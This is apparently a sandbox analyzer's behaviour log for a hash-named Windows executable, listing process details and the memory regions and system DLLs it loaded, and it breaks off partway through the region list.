# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 06.08.2022 00:17:36.395 Process: id = "1" image_name = "05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" filename = "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" page_root = "0x47739000" os_pid = "0xe04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x77c" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 114 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 115 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 116 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 117 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 118 start_va = 0x60000 end_va = 0x62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 119 start_va = 0x160000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 120 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 121 start_va = 0x12d0000 end_va = 0x1354fff monitored = 1 entry_point = 0x12eec40 region_type = mapped_file name = "05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe") Region: id = 122 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 123 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 124 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 125 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 126 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 127 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 128 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 129 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 130 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 270 start_va = 0x1a0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 271 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 272 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 273 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 274 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 275 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 277 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 278 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 279 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 280 start_va = 0x3f0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 281 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 282 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 283 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 284 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 285 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 286 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 287 start_va = 0x71d50000 end_va = 0x71edffff monitored = 0 entry_point = 0x71ded026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 288 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 289 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 290 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 291 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 292 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 293 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 294 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 295 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 296 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 297 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 298 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 299 start_va = 0x1a0000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 300 start_va = 0x270000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 301 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 302 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 303 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 304 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 305 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 306 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 307 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 308 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 309 start_va = 0x1360000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001360000" filename = "" Region: id = 310 start_va = 0x733a0000 end_va = 0x733a8fff monitored = 0 entry_point = 0x733a1220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 311 start_va = 0x8e0000 end_va = 0xbaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 312 start_va = 0x74a20000 end_va = 0x74a2cfff monitored = 0 entry_point = 0x74a21392 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\SysWOW64\\sfc_os.dll" (normalized: "c:\\windows\\syswow64\\sfc_os.dll") Region: id = 313 start_va = 0x73860000 end_va = 0x7389afff monitored = 0 entry_point = 0x7386128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 314 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 315 start_va = 0xbb0000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 316 start_va = 0x739b0000 end_va = 0x739c2fff monitored = 0 entry_point = 0x739b1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 317 start_va = 0x749a0000 end_va = 0x74a15fff monitored = 0 entry_point = 0x749a16bb region_type = mapped_file name = "riched20.dll" filename = "\\Windows\\SysWOW64\\riched20.dll" (normalized: "c:\\windows\\syswow64\\riched20.dll") Region: id = 318 start_va = 0xbb0000 end_va = 0xc8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 319 start_va = 0xd70000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 320 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 321 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 322 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 323 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 324 start_va = 0xdb0000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 325 start_va = 0xdb0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 326 start_va = 0xf50000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 327 start_va = 0x1080000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 328 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 329 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 330 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 331 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 332 start_va = 0x71c50000 end_va = 0x71d4afff monitored = 0 entry_point = 0x71c617e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 333 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 334 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 335 start_va = 0x110000 end_va = 0x12bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 336 start_va = 0x130000 end_va = 0x14bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 337 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 338 start_va = 0x3f0000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 339 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 340 start_va = 0x130000 end_va = 0x134fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 341 start_va = 0x220000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 342 start_va = 0xdf0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 343 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 344 start_va = 0x2760000 end_va = 0x308ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 345 start_va = 0x250000 end_va = 0x26bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 346 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 347 start_va = 0x450000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 348 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 349 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 350 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 351 start_va = 0x410000 end_va = 0x411fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 352 start_va = 0x74940000 end_va = 0x74997fff monitored = 0 entry_point = 0x749415c0 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 353 start_va = 0x3090000 end_va = 0x3290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003090000" filename = "" Region: id = 354 start_va = 0xdf0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 355 start_va = 0x3090000 end_va = 0x3290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003090000" filename = "" Region: id = 356 start_va = 0xdf0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 357 start_va = 0xdf0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 358 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 359 start_va = 0xdf0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 360 start_va = 0xdf0000 end_va = 0xef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 361 start_va = 0xe10000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 362 start_va = 0x30c0000 end_va = 0x31bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 363 start_va = 0x736e0000 end_va = 0x737d4fff monitored = 0 entry_point = 0x736f0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 364 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 365 start_va = 0x748a0000 end_va = 0x748c0fff monitored = 0 entry_point = 0x748a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 366 start_va = 0x75b90000 end_va = 0x75bd4fff monitored = 0 entry_point = 0x75b911e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 367 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 368 start_va = 0x490000 end_va = 0x4b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 369 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 370 start_va = 0xf60000 end_va = 0x1060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 371 start_va = 0xf60000 end_va = 0x1060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 372 start_va = 0xf60000 end_va = 0x1060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 373 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 374 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 375 start_va = 0xc90000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 376 start_va = 0xcc0000 end_va = 0xcc3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 377 start_va = 0xcd0000 end_va = 0xd35fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 378 start_va = 0xd40000 end_va = 0xd4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 379 start_va = 0x74de0000 end_va = 0x74f15fff monitored = 0 entry_point = 0x74de1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 380 start_va = 0x755b0000 end_va = 0x756a4fff monitored = 0 entry_point = 0x755b1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 381 start_va = 0x74f30000 end_va = 0x7512afff monitored = 0 entry_point = 0x74f322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 382 start_va = 0x74ab0000 end_va = 0x74bd0fff monitored = 0 entry_point = 0x74ab158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 383 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 384 start_va = 0xd50000 end_va = 0xd50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 385 start_va = 0xfc0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 386 start_va = 0x3240000 end_va = 0x333ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 387 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 388 start_va = 0xe60000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 389 start_va = 0x33b0000 end_va = 0x34affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033b0000" filename = "" Region: id = 390 start_va = 0x759d0000 end_va = 